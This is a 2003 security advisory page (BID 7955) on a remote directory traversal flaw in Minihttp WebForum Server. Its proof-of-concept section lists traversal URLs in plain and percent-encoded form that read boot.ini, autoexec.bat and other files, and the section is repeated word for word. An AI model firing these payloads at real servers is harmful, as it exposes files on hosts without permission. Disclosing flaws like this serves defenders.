MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability
BID:7955
Info
MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability
| Bugtraq ID: | 7955 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 18 2003 12:00AM |
| Updated: | Jun 18 2003 12:00AM |
| Credit: | Discovery credited to dr_insane. |
| Vulnerable: |
Minihttp WebForum Server 2.0 Minihttp WebForum Server 1.6 Minihttp WebForum Server 1.5 Minihttp WebForum Server 1.0 |
| Not Vulnerable: | |
Discussion
MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability
It has been reported that WebForums Server does not properly handle some types of requests. Because of this, attackers may be able to gain access to files on the host server with the privileges of the web server process.
It has been reported that WebForums Server does not properly handle some types of requests. Because of this, attackers may be able to gain access to files on the host server with the privileges of the web server process.
Exploit / POC
MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability
This vulnerability may be exploited with a web browser.
The following proofs-of-concept have been made available:
http://www.example.com/../../../../autoexec.bat
http://www.example.com/../../../autoexec.bat
http://www.example.com/../../boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../boot.ini
Additional directory traversal proof of concepts had been provided by R00tCr4ck <root cyberspy org>:
http://www.example.com/..\..\..\file.ext
http://www.example.com/../../../file.ext
or as encoded format:
http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext
http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext
This vulnerability may be exploited with a web browser.
The following proofs-of-concept have been made available:
http://www.example.com/../../../../autoexec.bat
http://www.example.com/../../../autoexec.bat
http://www.example.com/../../boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../boot.ini
Additional directory traversal proof of concepts had been provided by R00tCr4ck <root cyberspy org>:
http://www.example.com/..\..\..\file.ext
http://www.example.com/../../../file.ext
or as encoded format:
http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext
http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext